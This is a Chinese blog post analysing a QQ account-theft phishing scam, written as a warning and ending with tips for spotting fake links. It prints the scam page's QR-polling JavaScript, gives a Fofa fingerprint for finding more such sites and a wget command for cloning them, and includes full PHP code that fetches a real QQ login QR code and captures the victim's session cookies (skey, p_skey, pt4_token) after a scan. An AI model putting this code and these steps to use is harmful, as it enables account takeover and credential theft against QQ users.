相关阅读
之前我们分享过一期
最近又有热心网友私信我,说有新的盗号的链接想让我分析一下
诈骗过程分析
打开诈骗页面,发现有二维码和一键登录
![图片[1]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530023405121.webp)
PC端页面看起来也很逼真
![图片[2]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530023514660-1024x580-1.webp)
如果直接用手机扫描PC端页面的二维码会提示不在同一网络下,这一点QQ做的还不错
![图片[3]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530024551983.webp)
但是手机版问题就很大了,如果在QQ里点开链接,如果点一键登录,会导致黑客可以直接登录你的QQ安全中心,这一点就很致命了……
寻找此类站点
我们可以通过Fofa搜索站点域名,然后可以找到对应的指纹
fid="UiiA2s9QkrO2Lkwqx6d1DQ=="
![图片[4]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530025007750-1024x402-1.webp)
然后下面的站点就都是使用这个模板的
如果你感兴趣可以自行进行渗透测试(请不要使用自己的QQ扫码哦,不然号可能会被盗的)
我们把这些域名、IP地址都整理到下方评论里
盗号的原理
目测这里是通过Thinkphp写了个接口,截获了QQ安全中心的二维码截图
![图片[5]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530030040333-1024x444-1.webp)
然后嵌入到页面中的,部分代码如下
<script>
var url = '';
var sig = '';
var qrsig = '';
var timexx;
$(document).ready(function () {
$("#qrimg").hide()
getQr();
timexx=setInterval("listenLogin()", 1000);//监听
});
function getQr() {
// $("#qrimg").attr("src", "qr.php?t=" + Date.parse(new Date()));
$.getJSON("/index/qr?t=" + Date.parse(new Date()),function (data) {
console.log(data);
$("#qrimg").attr("src", data['img']);
$("#qrimg").attr("qrurl", data['url']);
$("#qrimg").attr("qrsig", data['qrsig']);
$("#qrimg").attr("qrtoken", data['qrtoken']);
$("#qrimg").show();
},
);
}
function listenLogin() {
var qrsig = $('#qrimg').attr('qrsig');
var qrtoken = $('#qrimg').attr('qrtoken');
$.getJSON(
"/index/listen?qrsig=" + qrsig + "&qrtoken="+qrtoken+"&t="+Date.parse(new Date()),
function (data) {
console.log(data);
switch (data[0]) {
case '0'://登录成功
if (data[2]) {
//跳转到
clearInterval(timexx);
window.location.href = "/index/login?url=" + encodeURIComponent(data[2]);
}
break;
case '65'://二维码已失效
getQr();
break;
case '66'://二维码未失效
console.log('二维码未失效');
break;
case '67'://正在验证二维码
console.log('正在验证二维码');
break;
default:
// getQr();
break;
}
},
);
}
</script>
但是核心是将参数传到了/index/login?url=
中
比较有趣的是我们还可以看到它有个php文件是专门生成二维码的,路径为/index/qr?t=
![图片[6]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530030230216-1024x110-1.webp)
生成的参数会随机变换,也就是说这个是动态的二维码,每次刷新都会变化
如何下载相关代码
我们之前有一期教大家仿站的小技巧
里面有一行命令非常简单粗暴
wget -r -p -np -k 你要仿的站点
然后我们就可以把网站静态资源下载下来,看起来还是蛮逼真的
![图片[7]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530030553644-1024x488-1.webp)
但是刚才也说了,这里面二维码是动态生成的,因此如果你要完成,还需要自己写一个QQ的二维码生成的脚本,这里因为比较敏感就不过多赘述了,但是整个过程我们都了解了。
骗子也是通过QQ登录二维码和后端的代码完成群控的,理论上应该是有后台可以随时登录的。
QQ二维码登录API
这里我们稍微补充一下,QQ二维码登录的相关代码
<?php
error_reporting(0);
header('Access-Control-Allow-Origin: *');
header('Content-type: application/json; charset=utf-8');
function request_http($url, $type=0, $post_data='', $ua='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Edg/84.0.522.58', $cookie='', $header=array(), $redirect=true){
// 初始化
$curl = curl_init();
// 网址
curl_setopt($curl,CURLOPT_URL, $url);
// Ua
if (!empty($ua)) {
$header[] = 'User-Agent:'.$ua;
}
// Cookie
if (!empty($cookie)) {
$header[] = 'Cookie:'.$cookie;
}
// 请求头
if (!empty($ua) or !empty($cookie) or !empty($header)) {
curl_setopt($curl, CURLOPT_HTTPHEADER, $header);
}
// Post数据
if($type == 1){
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
}
// 重定向
if (!$redirect) {
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
}
// 过SSL验证证书
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
// 将头部作为数据流输出
curl_setopt($curl, CURLOPT_HEADER, true);
// 以变量形式存储返回数据
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// 请求,存储数据
$return = curl_exec($curl);
// 分割头部和身体
if (curl_getinfo($curl, CURLINFO_HTTP_CODE) == '200') {
$return_header_size = curl_getinfo($curl, CURLINFO_HEADER_SIZE);
$return_header = substr($return, 0, $return_header_size);
$return_data = substr($return, $return_header_size);
}
// 关闭
curl_close($curl);
// 返回数据
return [$return_header, $return_data];
}
function return_result($state, $information) {
$result = array(
'state'=>$state,
'information'=>$information
);
exit(stripslashes(json_encode($result, JSON_UNESCAPED_UNICODE)));
}
function get_middle_text($text, $text_left, $text_right) {
$left = strpos($text, $text_left);
$right = strpos($text, $text_right, $left);
if ($left < 0 or $right < $left) {
return False;
}
return substr($text, $left + strlen($text_left), $right - $left - strlen($text_left));
}
function get_ptqrtoken($qr_sig) {
$len = strlen($qr_sig);
$hash = 0;
for ($count = 0; $count < $len; $count++) {
$hash += (($hash << 5) & 2147483647) + ord($qr_sig[$count]) & 2147483647;
$hash &= 2147483647;
}
return $hash & 2147483647;
}
function get_result_data($qr_sig){
$state_data = request_http('https://ssl.ptlogin2.qq.com/ptqrlogin?u1=https://qzs.qzone.qq.com/qzone/v5/loginsucc.html?para=izone&from=iqq&ptqrtoken='.get_ptqrtoken($qr_sig).'&ptredirect=1&h=1&t=1&g=1&from_ui=1&ptlang=2052&action=0-0-'.time().'&js_ver=10233&js_type=1&login_sig='.$qr_sig.'&pt_uistyle=40&aid=549000912&daid=5', null, null, null, 'qrsig='.$qr_sig)[1];
if (strpos($state_data, '未失效')) {
return '未失效';
} elseif (strpos($state_data, '认证中')) {
return '认证中';
} elseif (strpos($state_data, '登录成功')) {
$ptuicb_url = get_middle_text($state_data, "'0','0','", "','1',");
$ptuicb_header = request_http($ptuicb_url, null, null, null, null, null, false)[0];
$cookie = array(
'uin'=>get_middle_text($ptuicb_header, 'uin=', ';'),
'skey'=>get_middle_text($ptuicb_header, 'skey=', ';'),
'p_uin'=>get_middle_text($ptuicb_header, 'p_uin', ';'),
'p_skey'=>get_middle_text($ptuicb_header, 'p_skey=', ';'),
'pt4_token'=>get_middle_text($ptuicb_header, 'pt4_token=', ';')
);
$information = array(
'state'=>'已登录',
'cookie'=>$cookie
);
return $information;
} elseif (strpos($state_data, '已失效')) {
return '已失效';
} else {
return '未知错误';
}
}
function get_login_data(){
$return = request_http('https://ssl.ptlogin2.qq.com/ptqrshow?appid=549000912&e=2&l=M&s=3&d=72&v=4&t='.time().'&daid=5&pt_3rd_aid=0');
$qr_sig = get_middle_text($return[0], 'qrsig=', ';');
$qr_code = 'data:image/jpeg;base64,'.base64_encode($return[1]);
return [$qr_sig, $qr_code];
}
$type = $_REQUEST['type'];
$qr_sig = $_REQUEST['qr_sig'];
if (($type != 'get' and $type != 'result') or ($type != 'get' and empty($qr_sig))) {
return_result(100, '参数错误');
}
if ($type == 'get') {
$login_data = get_login_data();
$information = array(
'qr_sig'=>$login_data[0],
'qr_code'=>$login_data[1]
);
} else {
$information = get_result_data($qr_sig);
}
return_result(200, $information);
?>
相关参数解释
名称 | 必填 | 说明 |
---|---|---|
type | 是 | get代表登录数据,result代表结果 |
qrsig | 否 | 存在登录数据中,type为result时必填 |
QQ二维码配合刚才仿真的页面,用户就可以登录到QQ安全中心,然后账户就被黑客接管了。不过,如果不提交短信验证码,理论上只是账户被控制,不会出现手机号密保被修改的情况!
防范措施
请不要点击非官方的链接,在手Q上访问网站时,如果你不确定是不是官方的,在右上角点击···
然后选择复制链接,或者直接在浏览器里打开
![图片[8]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530031826615.webp)
之后我们就可以看到网址了,如果非官方的网址qq.com
,请一定要注意咯!
![图片[9]-QQ盗号的最新骗局,请谨防上当受骗-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20220530031920523.webp)
- 最新
- 最热
只看作者